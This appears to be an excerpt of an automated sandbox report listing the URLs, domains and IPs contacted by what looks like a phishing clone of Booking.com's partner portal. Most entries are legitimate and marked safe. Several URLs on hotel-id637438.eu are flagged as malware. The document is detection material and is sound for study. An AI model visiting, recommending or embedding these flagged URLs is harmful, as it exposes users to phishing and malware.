https://h.online-metrix.net/fwbs2R_7rJbrBR3e?5ef22e07f10f36fd=-BE8AN-UiICUya05z9TTPbQ6wofbCzFF8v25yhCAPMTZS-W194kKONQoe1HaJzqfM3key2AjyrI2GAn-LmMjuufQv7Ww5Pa8GV24fz0-FSF7aJOqG0BpXc4odExt19c7leJoaMP7ZJUMcCNimDW-1BmyYAlK2ZmZCCFszGTJseMQUNeEsG0Xt7rEp21WIUnZoP_LeiOuNnf2vUFIlf8&jf=3c3136267169645f7a6e643f766c725d4f494a4144454d5265376a555a756b6d26736b6c57646174673d31373a3034353a3e3132267161645f7c7978673f77676a3867616473632e7b69645f6965793d3b30353b31383131303438373269383e363a63673b6632303031323e383832613a3634386b653366323b303330353833343a3038323665363f6336643064643e6d616534603266383f373333616e663437373133626d616e3a3564646d3231663036316e6e653363673932316b363267616c663063366b64363a3639333b39306a3732333534613c3d3132643432373569383631363e376431666a37333c3630643b6531383260666165616a3f333230373364346b3626716b6c5f7169653533303c3538303030316a373734626437396c3939373664666369343166313e626132363e39366a6669376666613d323234663235313e3362623b6164326a63623a603b323539613030323a3138326063603830303530353b3a3f64303134656361393838616731353a63343935333f636b316161366c3236373964603e393334663b3764306b643434323f373731247b69667a3d39	0%	Avira URL Cloud	safe
https://try.abtasty.com/71cd12cdf77ebcb750cff91a9bba6f04/manifest.json	0%	Avira URL Cloud	safe
https://partner.booking.com/en-us/help/support-contact/contact/where-you-can-reach-us	0%	Avira URL Cloud	safe
https://bookingdotcomb2b.germany-2.evergage.com/pr?.top=1576&item=%7B%22type%22%3A%22Category%22%2C%22_id%22%3A%22500%22%7D&action=View%20Catalog%20Object&.tt=1560&.ttdns=187&.dt=7100&.bv=16&_ak=bookingdotcomb2b&_ds=booking_prod&.scv=138&channel=Web&_r=142748&.anonId=bbb92faf3d598967&_anon=true	0%	Avira URL Cloud	safe
https://partner.booking.com/core/modules/statistics/statistics.php	0%	Avira URL Cloud	safe
https://q.bstatic.com/libs/asec/btmgmt/px.v7.5.3.min.js	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/iXLCLsjXrpF-p7AH?9e86be319398bca5=aw6BUyrIRCQWQ3PbBiL7tCm4MQE0qv5k2ZXfqb2gBsXKCSIU8QjvUjVx5Xu-V3f-vQ7pvKjbs5DYHXQlallqgIlAlNINuzK99mhtrDw4VLO1svQiUvuXCLW4XVI3cnmfzeSllo4RM3eqK5NPwtklUHkUnGLe0wodpyBmmucWsrc43R6dz4FU9tMdqmPCjKUzWcRcZUpav1_U2gx7SH6c	0%	Avira URL Cloud	safe
https://partner.booking.com/themes/custom/booking/images/favicons/favicon.svg	0%	Avira URL Cloud	safe
https://docs.aws.amazon.com/waf/latest/developerguide/waf-javascript-sdk.html	0%	Avira URL Cloud	safe
https://try.abtasty.com/shared/me.7d4a349527f92fc578d9.js	0%	Avira URL Cloud	safe
https://chat.kindlycdn.com/kindly-chat.js	0%	Avira URL Cloud	safe
https://cdn.spinnaker-js.com/rc/19174/scripts/s.js	0%	Avira URL Cloud	safe
https://www.booking.com/content/ccpa.	0%	Avira URL Cloud	safe
https://saa.booking.com/ec/c.html?name=ecid	0%	Avira URL Cloud	safe
https://ariane.abtasty.com/	0%	Avira URL Cloud	safe
https://partner.booking.com/sites/default/files/styles/teaser_image_card/public/2019-05/forum_1.jpg?	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/b3Ri08IrfvWKzb-u?7a4f678c1f858cc6=36PkBdPxdlwF2iWDI2MqAIF9W7kr6CUtqoCCgB9TNASQJMd2yRj8bKGRR4e_AUNgaF8aDeI0n4MmjsOArDdqeyYApyF0kZ2DpwdPZpM1YVnjFRpo9Qx9pbCvut3DcnLt8rRJLXu0yHEJYg50QU4Vqg&fr	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/jquery/jquery-ui/1.13.2/LICENSE.txt	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/P1Ki-X70GyE2fskC?dd0baa4d17fc4ac7=p7E_NyxkM9KoC8mXkmH_xsU8D99bHaPf8of9aF24fiJwXF0V7KTg5Z7ynmRs7L-rZ3ciGxhmI2aKM5WtqTm4961eyvrn1hjz6xxeUrPxbgxRH2hZ5C5x61g3vHWM7SKktxXDDa-mczoA5y2SdSB-tKZ1nujl8wUh0isBSXGmWE6w	0%	Avira URL Cloud	safe
https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/hospitality%404x.png.webp?itok=CnzaJ3-K	0%	Avira URL Cloud	safe
https://cdn.cookielaw.org/scripttemplates/202404.1.0/otBannerSdk.js	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/vpNm4h0Cgnyh9WKp?551f66e8c21b2d31=47iJ8I6TpbOmSq6bpDQV_WpkC0Q10ocKflyPFAd-X1F0tqodWImpXHtnsTe_EtNUMrz9TP9NUeU4HnSWg4jDTaL5BS7cIJYx2d3HZ0E3v9BQWprNeLDxXAg0yZfL7iXq4B-UgYUQFwKXSR2ytyh7S43ysuXhQA-d4M62YcuFiEa9IdbxgCtCj0TD6rqotq6JpIQnQORlQ7PCeBDy1OEJexmz7zk&sera_parametere=X0UNDQAHA1IAAgVQBlZaXVsHUgxRBQJaAFRQAwIBVwhYA1ENU1pVUlBWUEBAQ15RV0VFTBZGUiZEACFDBHRGCglfQ10JBgwHD0MQQwB0Rg97BRUPIUZTUglYEBJAFVB8HAJyHVInRwYIClZeAQBQCl0HVA9XBwJRBVZTU1ICVggAAlMBXQFRUgVRAAACCVpeCwUWVgoNAgdcDlZWC1UAWVtUB1sDUFEBWREJFQ4AGwsLA1ZcVlBVUVFUVFQBB1MBXQQEDVdTWVRWBgdTBQVUAFoMAV0HUAREAF5eVwEDVQgfXFkFSFJHEggKWl8KCVseUV4NHgdeIgoTWA4DFVIVBQgEBx4HDBJfNl4NAlxHEB5aVw1MARk%2BAQBbDwRSUwgeXEENClVX&count=0&max=0	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/ZqQsZHm25EHoHEB-?152e9d39bcab1cb5=zgTnMTUnNK1RObyF3_y9F3vx1ULCj9qMUrh4LwCH4DXyp97H4kXRMhXMKpVIiW1TGdcoc4ozWOo7IcLMroo7zmuXFNAjCzfV7Z2K9WrPAUIUSzFGDjlgifztwQ-FjASl5z0fay-q2sDW6movPwebBwiJ7bY&jac=1&je=3c3126267565693d302e34342c3932312e313b2677616d35756762707c615d6b6e74677a66616c5f6f646e73	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/3TWqV7joG7OAWvac?08e86886c47c193c=4Zq5jiNrXr96ezmLApPfZJLJprhFwoKR_VeApSYZ8Df89jcnsh-rKt9TDFKYP48_iwiFUFdnpTInR-WO3oDaru8Zq76vWILsPWSg8FgzpiZviKjrXyzkyLaqEQwfz93szvKB8s5AK29RT0QrDtLBWkLUOg0&jac=1&je=3433242e6a666e3539333a24686e683f353331373066623035613d3b363b3030323363363a3b67383065386d6b326a33246266766c3d38383134303e38313b30	0%	Avira URL Cloud	safe
https://www.drupal.org/licensing/faq	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
doregtzfn74qusm57gonvfgshkv6p2r76un7bsic9508ecaba7cf30c8sac.d.aa.online-metrix.net	192.225.158.3	true	false	unknown
stun.twt.it	82.113.193.63	true	false	unknown
collector-pxikkul2rm.px-cloud.net	35.190.10.96	true	false	unknown
bstatic.com	18.66.171.29	true	false	unknown
bookingdotcomb2b.germany-2.evergage.com	18.185.181.69	true	false	unknown
stun3.l.google.com	74.125.250.129	true	false	unknown
stun.telbo.com	77.72.169.210	true	false	unknown
dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com	52.209.78.88	true	false	unknown
stun1.l.google.com	74.125.250.129	true	false	unknown
sage.kindly.ai	34.120.99.165	true	false	unknown
www.google.com	172.217.18.4	true	false	unknown
stun.usfamily.net	64.131.63.217	true	false	unknown
h-doregtzf.online-metrix.net	192.225.158.254	true	false	unknown
doregtzf5ebkfwgr3cpglagb72suuseqjxlah7jgd9fe95023d324584sac.d.aa.online-metrix.net	192.225.158.3	true	false	unknown
pirateprod.9k9qh2pzbv.eu-west-1.elasticbeanstalk.com	34.255.142.78	true	false	unknown
stun.cablenet-as.net	213.140.209.236	true	false	unknown
doregtzfefbr33clv6xcto5dvvpuig6dhu62so3k9d8e366b7ec51ed9sac.d.aa.online-metrix.net	192.225.158.3	true	false	unknown
d1of1hbywxxm65.cloudfront.net	52.85.61.64	true	false	unknown
www.googleoptimize.com	142.250.186.174	true	false	unknown
de2trjlt8e8rj.cloudfront.net	18.164.96.49	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
stun.actionvoip.com	77.72.169.212	true	false	unknown
stun.bluesip.net	217.74.179.29	true	false	unknown
h.online-metrix.net	91.235.132.130	true	false	unknown
stun.l.google.com	74.125.250.129	true	false	unknown
cdn.cookielaw.org	104.19.177.52	true	false	unknown
all.cdn-gw-dv.vip.w.cdngslb.com	47.246.50.207	true	false	unknown
d2i5gg36g14bzn.cloudfront.net	18.66.196.31	true	false	unknown
stun4.l.google.com	74.125.250.129	true	false	unknown
stun2.l.google.com	74.125.250.129	true	false	unknown
cdn.evgnet.com	151.101.64.114	true	false	unknown
chat.kindlycdn.com	104.26.6.229	true	false	unknown
ariane.abtasty.com	34.36.178.232	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
d8c14d4960ca.edge.sdk.awswaf.com	18.65.39.105	true	false	unknown
d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com	18.244.18.18	true	false	unknown
h64.online-metrix.net	192.225.158.1	true	false	unknown
d2df291ti5v5sq.cloudfront.net	18.238.243.80	true	false	unknown
aa.online-metrix.net	91.235.132.129	true	false	unknown
stun.12voip.com	77.72.169.211	true	false	unknown
stun.antisip.com	94.23.17.185	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
du1b3vb35hc0o.cloudfront.net	13.226.34.77	true	false	unknown
natisevil.aasip.co.uk	81.187.30.115	true	false	unknown
lonrtp1.marketo.com	162.13.202.201	true	false	unknown
partner.booking.com	18.164.96.110	true	false	unknown
stun.tel.lu	85.93.219.114	true	false	unknown
stun.acrobits.cz	85.17.88.164	true	false	unknown
stun.1und1.de	212.227.67.33	true	false	unknown
hotel-id637438.eu	172.67.199.147	true	true	unknown
dcinfos-cache.abtasty.com	34.36.178.232	true	false	unknown
stun.uls.co.za	154.73.34.4	true	false	unknown
geolocation.onetrust.com	104.18.32.137	true	false	unknown
try-cloudfront.abtasty.com	18.172.112.62	true	false	unknown
siteintercept.qualtrics.com	unknown	unknown	false	unknown
zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.com	unknown	unknown	false	unknown
cf.bstatic.com	unknown	unknown	false	unknown
booking.ck123.io	unknown	unknown	false	unknown
apil1.spinnaker-js.com	unknown	unknown	false	unknown
cdn.spinnaker-js.com	unknown	unknown	false	unknown
stun.aa.net.uk	unknown	unknown	false	unknown
booking.gw-dv.vip	unknown	unknown	false	unknown
t-cf.bstatic.com	unknown	unknown	false	unknown
rtp-static.marketo.com	unknown	unknown	false	unknown
nellie.booking.com	unknown	unknown	false	unknown
munchkin.marketo.net	unknown	unknown	false	unknown
xx.bstatic.com	unknown	unknown	false	unknown
r.bstatic.com	unknown	unknown	false	unknown
try.abtasty.com	unknown	unknown	false	unknown
q.bstatic.com	unknown	unknown	false	unknown
zn09tjwjvephllacp-partnersatbooking.siteintercept.qualtrics.com	unknown	unknown	false	unknown
stun.callromania.ro	unknown	unknown	false	unknown
www.bstatic.com	unknown	unknown	false	unknown
asanalytics.booking.com	unknown	unknown	false	unknown
www.booking.com	unknown	unknown	false	unknown
ls.cdn-gw-dv.vip	unknown	unknown	false	unknown
saa.booking.com	unknown	unknown	false	unknown
account.booking.com	unknown	unknown	false	unknown
q-xx.bstatic.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://hotel-id637438.eu/static/challenge.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	true	Avira URL Cloud: malware	unknown
https://hotel-id637438.eu/static/otSDKStub.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE/consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/a387750c-a080-4dd0-b2d1-7dbdb601bb14.json	true	Avira URL Cloud: malware	unknown
https://chat.kindlycdn.com/react-chat_src_components_Carousel_Carousel_js-react-chat_src_components_MessageButton_Messag-020420-e1a675876deb028268b2.js	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/6yxRzK3FUissim9K?56242969615d5d84=78xISzn7VnoRlwddedINpOCo4yhp1R63yAAh_-x__1-hWwiqBOyikZQm_1G52eujMX5giE0MkKHUfDpKfj1mcrxUsjSomBwj-lOX0rc6G7HuT8B9QhHzZJ04r7hmUZtPcdAkAPZ4pycgm408BIuLaFUPXNa-gMZtmiqyEhZDdc3ZvtCcHfUw0lSdI8ON5Y9W4GPt9FxjOg8Iiy1imRQ	false		unknown
https://cf.bstatic.com/psb/accountsportal/assets/index_a4c9eea436facc11b585.js	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/sites/default/files/css/css_UvXyKwn0NQjGoY4ItVYtivOqsPRcB28Y3ICRoR_4aTg.css?delta=2&language=en-us&theme=booking&include=eJx1Uotu5CAM_KEQPmllwCHuEsxhJ23u68_pdZPdqpUihB8zY8aBlJSh7h6-LuPUueqQQKHAjt0HnGEj7jIU-Lv74xhkF8XFBxAcAvOdavZhJRdFvsdOO2xYCnZXKM_qdMblQuXCAcoL6O3iiMzxTtg6u4njKm6Gmozq6od4d8r2tQE_tFC9-9TXBmX8CgdRUBKlKI_KlTl5CkNyQgkDdBeg1ieNrIvDqqS7i4VM7_sQTw0b4fuP9cpKE0UT5no2NOiQO7T5HO3KjGttaygkMyZzfudVb4kk8oZ991wxchkm-DMRluQflxFi5J5M5FQ_M04hiKPF3NxsBVVfd0WV1EVemnE_1yR2LuZkdgbMHW2lZtJgpPiYOnVuYVU11alA9scxHubf4A0-Xnw4Sr_YuIr9I0K5ko3KXJTaYM9-x5sg9Dj7z8D9D07UjJAO3Gf2H1FyFZQ	false	Avira URL Cloud: safe	unknown
https://cf.bstatic.com/psb/accountsportal/assets/826_0cc611c2fdbfa57dfa5d.js	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/vEYJuyIbFFh4pz4i?73fc34fa0de55a4d=1310TqPgyRYI_24smNU42hsonzVKowTJ-UhIS2Y4zJ7rapd8h2a6uszrMOU8lK11LMu8ufhRDUltV5a3_m45jV1pVkDK5hSOTcPoakkb_7PNfFtjR7wAqhhEzK9-W88YY0Jyfu9pUG7eGLpnNr--ayMc1vGIryx7N1-oDt8m0ZgEmiohjq2iPJh-n2NM8wvd-wOe8rvGoVrYnF6Ouvk&jf=3633342e736964577a6e6c3f766c725d37366c615a67337165795c773545766126716b645d66637c653d313f3a303c353a3e323a247361665f747978673d7f676238656164716326716b66576b6579353b303d3b31383131323638353261383e36386b673366303030333236323a3069383634306b653b66323b3033323738313432303832346b35616431673566676532633a386166653e6c323867643f3030363931603638346c6436396331363633336137363466666b3431646b3e383964663c3367313038636132316a6639313432343533313736396063673f3338376c30626e67613033663b666c356463623f6434306131333637346333396367323c356562313d312e716b6c5f716b67353130343538303239323061633139606435363461313137306d3934303a606d383233316a603762376d37636e6764326563626032336335316b616630393e326d34343d343267643f673830323a32356e35383a313137336361333133306436333d6a383930673a646661656932333733313b3038676663383632303a37366030393632323c30373c3a366d346336267b6b66723d38	false	Avira URL Cloud: safe	unknown
https://cdn.cookielaw.org/consent/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda/8ead1a95-64b9-4e6c-877c-52602d89b97c/en-us.json	false	Avira URL Cloud: safe	unknown
https://hotel-id637438.eu/static/OtAutoBlock.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	true	Avira URL Cloud: malware	unknown
https://partner.booking.com/themes/custom/booking/fonts/icons/icons.woff?v=1.3.3	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/themes/custom/booking/images/favicons/favicon.ico	false	Avira URL Cloud: safe	unknown
https://ariane.abtasty.com/datalayer	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/property%20managment%404x.png.webp?itok=T_Oo2E2n	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/en-us/help/support-contact/contact/where-you-can-reach-us?utm_source=account&utm_medium=support_link	false		unknown
https://hotel-id637438.eu/px.v7.5.3.min.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	true	Avira URL Cloud: malware	unknown
https://asanalytics.booking.com/YBjky_TnBNQQwzY6?651e1b870543f517=r5r-MLSvi700LVYB26KxaBcwaN4U3QIx00UhiyEI4rK3DincM2pOHrD_ySJDaCrivE0PZtcSKiXApuu_V5_L0gBhklsXDb9ep4jfuOyW6wpmJXaACLp2fjUCHLVBIgfuk115rqov62tVjTE716-LiE3cknyM6FmWCfNCcZ0	false	Avira URL Cloud: safe	unknown
https://cdn.cookielaw.org/consent/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda.json	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/ydCEBuKxErLnjgXf?1b75bbbcd288fb3f=MbZaZxI15fKTd5tPfsAHYEGaVlRH1TL4t5Cu9DzYTgoLg9BOMngmEn91CsmRtE938f6G0-rGyp6BOvOZtOuCjiu_MFY3L_RiTR69l_JTtfkJ76CVjWg-dpwoUFeGrHiTlVkY6cswJirOhCF7BQ5_RA	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/sites/default/files/js/js_XgRhdDPWb33RcpJhPMJZtlmn458nD-GlhUL5Ud4J8h4.js?scope=footer&delta=0&language=en-us&theme=booking&include=eJx1Uotu5CAM_KEQPmllwCHuEsxhJ23u68_pdZPdqpUihB8zY8aBlJSh7h6-LuPUueqQQKHAjt0HnGEj7jIU-Lv74xhkF8XFBxAcAvOdavZhJRdFvsdOO2xYCnZXKM_qdMblQuXCAcoL6O3iiMzxTtg6u4njKm6Gmozq6od4d8r2tQE_tFC9-9TXBmX8CgdRUBKlKI_KlTl5CkNyQgkDdBeg1ieNrIvDqqS7i4VM7_sQTw0b4fuP9cpKE0UT5no2NOiQO7T5HO3KjGttaygkMyZzfudVb4kk8oZ991wxchkm-DMRluQflxFi5J5M5FQ_M04hiKPF3NxsBVVfd0WV1EVemnE_1yR2LuZkdgbMHW2lZtJgpPiYOnVuYVU11alA9scxHubf4A0-Xnw4Sr_YuIr9I0K5ko3KXJTaYM9-x5sg9Dj7z8D9D07UjJAO3Gf2H1FyFZQ	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/3TWqV7joG7OAWvac?08e86886c47c193c=4Zq5jiNrXr96ezmLApPfZJLJprhFwoKR_VeApSYZ8Df89jcnsh-rKt9TDFKYP48_iwiFUFdnpTInR-WO3oDaru8Zq76vWILsPWSg8FgzpiZviKjrXyzkyLaqEQwfz93szvKB8s5AK29RT0QrDtLBWkLUOg0&jac=1&je=33333b3c26267065356e672460697471763d2d354225323a6e657e676c273230253143312c32322d3243253a3a737c63767d732730322d314125323a61686970676b6e652530302535462469756468356b656e60636d34353a363f356630326e60626c3b3731363337343b32666066316336343d38626e37343c313434396d606566313d3b356960373635633233333724677a3b3d32626a6c636e31353e646334343a373530383b35623a3a3630643b373b36343663606a3565653c3b2662716d35576b6c6467757325323833302e77616a3d27374027323063706b6869746d6b747d70672d3230273349273232783034253a302530432732306069766c677b7325323a2d334927303a363627323a273243253a30627a636e667327323027334327374a2537422d3a326a706366642730322d314125323a456f67656c67253030416a726d6f672d3232253a4b253a30746d72716b6f66273232253b43253a3031333727323027374627304b2537422d3a326a706366642730322d314125323a4c6f7c273340412733464072636c662d3232253a4b253a30746d72716b6f66273232253b43253a3038273230253546253041273f4225323a6a72696c662d32302733492732324360706f656b756f2530322730432730307e65727361676e2d30302d334327323a333137253a30253f462537442732412732306477646c56657a7b69676c4e61737627323a273341253d40253f402530326072636c642730302d3341253a3a47676d6564652730304b6a726f6d6d27323a273241253032746772716b6d662532322d3b412d30303931352c3026373933382633333c2732302535442730432735402d3232627a696e6c27303a253143253a304e6f742d3142492733464270616c66253030273a4325323a7e657a716b676e2730322d314125323a3a2e382c302c3027323027374627304b2537422d3a326a706366642730322d314125323a41687a6d6d6b756f253030253041273a3276657a7b69676c273a322731412d303231313f2c3026373931382c313136253030273f4425354c2d324b27303a6d6d606964672532322d31416e636c71652732412732306f6d6c656c253a3a253b43273a322730322d304325323a726c6976666d726f253030253143273a325769666c6f7f71273a322730432d3032706c69766667706d546570736b6d6e2730302d3341253a3a31382c3226302730322d304325323a756f7f343427323025314366636e716d2537442e7d61643f273f422730326a70616e647b27323a2733432537422735422730306a72616e6c2d323a27314925303047676d676c652d30304b6a726d6d67253030253041273a3276657a7b69676c273a322731412d303231313f27323a2737462530432735422730306a72616e6c2d323a2731492530304e67762533424927334c4072636e66253030253041273a3276657a7b69676c273a322731412d303238253a30253f462530432737402732306070696e64253a3a253b43273a32416a72676f69756d2d30322d3043273230766770736b6d6c2d3232253b49253a303339372730322d354425354c27324b2732306d6d626b6e652730302d3341666964736d27304b25303070646374666f7a6f253a3025314127323055696c666d7f7325323a2d374c	false	Avira URL Cloud: safe	unknown
https://h64.online-metrix.net/5prH3djSfspwAgel?0254515df9b541d0=NU4TfZBGqPmfiLy5n9SoIg4wm0j0z4-hvii_tvDfeRkfeAHzG22z7KT_JObQVIE68G0iegh2ZI7wE2UJkQYGYx9SNgna8SV7CZgaW4DaKvnU_AEhS_kBR82YOV8qqCYitTM22m6SUICol6bo7aHwFY_yK5rqd2yn	false	Avira URL Cloud: safe	unknown
https://h.online-metrix.net/rFRLDJxFTrQcss9n?89ebc986c3b3f728=okE1tWax7UjQSFfET3w1usAAd3od2EjnHMLqlwKYSIcBuoEcZRptxwJ86giEnc9_NH7A1fYykcjB3XYD4m3ED3W2TOnl61DQC2RdDEeMzaJH1iNyuTmluMNU7nLowJTYc5HVeuaj_Kj_IqyUYdd0jIWCXWhMbJNYxDxKkqvkQ8OVvPU	false	Avira URL Cloud: safe	unknown
https://hotel-id637438.eu/static/clientlib.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	true	Avira URL Cloud: malware	unknown
https://hotel-id637438.eu/check-online	true	Avira URL Cloud: malware	unknown
https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/announcements%404x.png.webp?itok=KL33QV-E	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/stBXX4xy0Tuo1HHg?8fc06bdf70f757cb=PL55k8pz5b8hiYulo50ivQR5fsAjStjTW-lpchEzoeg_zB_MFdYm8ZvJ4HR3tjPkWDMQrM350HleQBXkvJ8lj1Yf8cEToqZD4EDOoPoaAUt7AA4MljpNkqLWj65VNe0H9-vQJx3JVDjyT1H234HKfnniAzsGAX_tBPIL74KzFup0aLxH9QUXOJFKlh6bvfCAmDt4qfFL6EHkS5j1&jb=373b242e6a736f7d3557616c66677771246a7b6d3d576966666f7f71253030333024687360773f4b68726f656d2662716035436a706f6567253230393337	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/Ysq49GvjQ5eQMXx1?f32b80d547da664b=yCV90iw6Iuf09HN8bKNJc7cGvKkOmDHPuZj9ruC1sCINvoYDmHLygPvT2maQP96vtXYtC12-_Z7M-hwMkajeZIGrR7KW6VFmJuVskb4f5C6QjumACnpQJQaNFQLA6VyZ2MjIw8Nu1caIx790OVHHElrO8ek8gJn1swbIH5hQXIu_x8hyDhZaxMBAvjjIoUm0_OkqNr1RehMrzP8w6qs&je=3333312e266a616b35312e606a7b773f27354a273742253a30746d7a742732316c6d65696c6c63656525323a2d334932273f442730432d303225324e71696f6c2d6b6e273230273546246060736b737c6d3d2d35402d3230696e2d303225334932253a412530326932303b253030273b4130253f4c	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/2HGL14kaydX5qYhD?72ef15d3203931b6=ZrL8omu03-2S9W2nQj0WYnqyiJCWCcg7MoUvHcHkm2RK0PsMdIrLvoPPb1AACx62WnbBKEY8Zbkg6QlNwKKIbS7vHKX08XfT56wV6jwlIIo_yNVNGVDusjMxoHC_E7ovHNHZyamY9dQrkvvplMIpAmbOHkUzAhGBWMvxmak-Kpwxyt15Zu9F7hB6LzNsnHkotXW9uKjROK5MZ9y_&jb=3d39262668736f753557696c6667777126687b6f3d5f6966666d77712d3032333026687b6a753d436a726f6d6d266a716035436a726d6565253a30393335	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/sites/default/files/styles/menu_teaser_desktop/public/2024-03/join-booking-hero.jpg.webp?h=56d0ca2e&itok=3dorJ9nt	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/sites/default/files/css/css_8xrXTAiqhK5R19N2cI7xoXYTYSLTDP3dX6YW9tM8lM0.css?delta=1&language=en-us&theme=booking&include=eJx1Uotu5CAM_KEQPmllwCHuEsxhJ23u68_pdZPdqpUihB8zY8aBlJSh7h6-LuPUueqQQKHAjt0HnGEj7jIU-Lv74xhkF8XFBxAcAvOdavZhJRdFvsdOO2xYCnZXKM_qdMblQuXCAcoL6O3iiMzxTtg6u4njKm6Gmozq6od4d8r2tQE_tFC9-9TXBmX8CgdRUBKlKI_KlTl5CkNyQgkDdBeg1ieNrIvDqqS7i4VM7_sQTw0b4fuP9cpKE0UT5no2NOiQO7T5HO3KjGttaygkMyZzfudVb4kk8oZ991wxchkm-DMRluQflxFi5J5M5FQ_M04hiKPF3NxsBVVfd0WV1EVemnE_1yR2LuZkdgbMHW2lZtJgpPiYOnVuYVU11alA9scxHubf4A0-Xnw4Sr_YuIr9I0K5ko3KXJTaYM9-x5sg9Dj7z8D9D07UjJAO3Gf2H1FyFZQ	false	Avira URL Cloud: safe	unknown
https://d8c14d4960ca.edge.sdk.awswaf.com/d8c14d4960ca/c2181391033f/challenge.js	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/Ysq49GvjQ5eQMXx1?f32b80d547da664b=yCV90iw6Iuf09HN8bKNJc7cGvKkOmDHPuZj9ruC1sCINvoYDmHLygPvT2maQP96vtXYtC12-_Z7M-hwMkajeZIGrR7KW6VFmJuVskb4f5C6QjumACnpQJQaNFQLA6VyZ2MjIw8Nu1caIx790OVHHElrO8ek8gJn1swbIH5hQXIu_x8hyDhZaxMBAvjjIoUm0_OkqNr1RehMrzP8w6qs&je=3030302e266a616b35312e606a7b63673f253f40253232787679786773273230253143253540273a326d6f7d7b652d30302d334336253f462532432d3032787679726527323027334327303a7063253a3a253f46246a6871606b35273542253d40253a3055273230253041353736302d3243253a3a746d7a762d32316e6f6f6b6e6e616567253a3025374427324127354027303a7225323a2d324b37373c342730432d303225323a27354c2732412537422730326d27303a2532433d3d353f27304b25303068616664656e2d30322d374427354626606a7360695d616e6465703533	false	Avira URL Cloud: safe	unknown
https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/libraries/lazysizes/lazysizes.min.js	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/3TWqV7joG7OAWvac?08e86886c47c193c=4Zq5jiNrXr96ezmLApPfZJLJprhFwoKR_VeApSYZ8Df89jcnsh-rKt9TDFKYP48_iwiFUFdnpTInR-WO3oDaru8Zq76vWILsPWSg8FgzpiZviKjrXyzkyLaqEQwfz93szvKB8s5AK29RT0QrDtLBWkLUOg0&jb=3134246473613d693f346a60313d34673b376b366638646934326d3b6360623537616730353136	false	Avira URL Cloud: safe	unknown
https://hotel-id637438.eu/static/us.png	true	Avira URL Cloud: malware	unknown
https://h64.online-metrix.net/8fqB4UQvod6mjs-l?5d564f171f369a79=mlZgO_0dNaQOSUqqkizTh1u3IoQjqcGEqBvFe2oB-ffi0LqEvxu21x_DSefc6f5yM4cqLhKgGfTJYwN1MJ8ao7W0CrX4KO4WQlX6gJOZ9QNfQ1ELl0I12Ha9-XssJOUNu6hjz_Xv9PlOewMQH0C_comn_WAHZXeh	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/BfsHVPyQHfIaKbAl?41563c7f1adfb5f0=RzOzMJRmlWYu3cfFnC9GXovp5POD4sjyt3mJ6IhVEemMiW6rnWY_ZJFsNJ-xCXdJwvJQHFbCeGbtAh70GwdhLXEzabSzoYav5R6TZ9YGgCbVQ2wjy4h6KxZCdjbA6FvfuTrg4bMm00aT6sefEqSpErrX3pg&jb=3336266c716135613f366060313d346539356b34663064693e3267316b606235376b6532373334	false	Avira URL Cloud: safe	unknown
https://asanalytics.booking.com/PP7WtnhQPti9hwxg?a322627bbc0f1671=pOnrCyYh0fOD4QiyRCR8l8s_j6LQb5PA3LTNBnkAbtmfEBkiQrEdduGpojAsw98DMAU_BT4k__bGIgUcBpoAPcmKH8RxXLM1JFbARReTFk5GJrheZst0XQAbXsGUBzD0QS58AuggO2dhY04REAqovQ&data=AAyZnKNoq7EIL-SywGT2D3gqdlkvfF62p87n7Ch4THWWjw-djkrzfZM3-mf4ArnApXM4whRMVa2v-klaqYllik7G55IYiw	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/sites/default/files/styles/menu_teaser_desktop/public/2023-10/travel_predictions_2024_1_1.jpg.webp?h=db5e2b43&itok=jW2sd4Zb	false	Avira URL Cloud: safe	unknown
